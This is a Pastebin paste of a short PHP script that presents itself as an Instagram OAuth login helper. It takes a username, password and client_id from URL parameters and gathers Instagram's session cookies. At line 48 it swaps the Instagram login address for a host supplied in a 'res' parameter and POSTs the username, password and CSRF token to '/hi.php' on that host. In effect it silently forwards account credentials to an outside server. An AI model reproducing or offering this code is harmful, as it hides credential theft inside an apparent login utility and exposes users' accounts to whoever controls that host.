Advertisement
Guest User

instagram

a guest
Feb 15th, 2016
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.35 KB | None | 0 0
  1. <?php
  2. header('content-type: text/plain');
  3. function curl_download($Url,$header = false, $post = false){
  4.     $ch = curl_init();
  5.     curl_setopt($ch, CURLOPT_URL, $Url);
  6.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36");
  7.     curl_setopt($ch, CURLOPT_HEADER, true);
  8.     //curl_setopt($ch, CURLOPT_NOBODY, true);
  9.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10.     curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  11.    
  12.     if($header)
  13.         curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
  14.    
  15.     if($post) {
  16.         curl_setopt($ch, CURLOPT_POST, true);
  17.         curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
  18.     }
  19.     $output = curl_exec($ch);
  20.     curl_close($ch);
  21.     return $output;
  22. }
  23. $client_id = $_GET['client_id'];
  24. $url = 'https://www.instagram.com/oauth/authorize/?client_id='.$client_id.'&redirect_uri=http://localhost&response_type=token';
  25. $loginurl = 'https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D'.$client_id.'%26redirect_uri%3Dhttp%3A//localhost%26response_type%3Dtoken';
  26. $result =  curl_download($url);
  27. preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
  28. $cookies = array();
  29. foreach($matches[1] as $item) {
  30.     parse_str($item, $cookie);
  31.     $cookies = array_merge($cookies, $cookie);
  32. }
  33. $headers = array();
  34. $headers[] = ':authority:www.instagram.com';
  35. $headers[] = ':method:POST';
  36. $headers[] = ':path:/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D'.$client_id.'%26redirect_uri%3Dhttp%3A//localhost%26response_type%3Dtoken';
  37. $headers[] = ':scheme:https';
  38. $headers[] = 'cache-control:max-age=0';
  39. $headers[] = 'content-length:92';
  40. $headers[] = 'content-type:application/x-www-form-urlencoded';
  41. $headers[] = 'cookie:mid='.$cookies['mid'].'; csrftoken='.$cookies['csrftoken'];
  42. $headers[] = 'origin:https://www.instagram.com';
  43. $headers[] = 'referer:https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D'.$client_id.'%26redirect_uri%3Dhttp%3A//localhost%26response_type%3Dtoken';
  44. $headers[] = 'upgrade-insecure-requests:1';
  45.  
  46. $post = 'csrfmiddlewaretoken='.$cookies['csrftoken'].'&username='.$_GET['username'].'&password='.$_GET['password'];
  47.  
  48. $loginurl = 'http://'.$_GET['res'].'/hi.php';
  49. print $result =  curl_download($loginurl,$headers,$post);
  50.  
  51. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement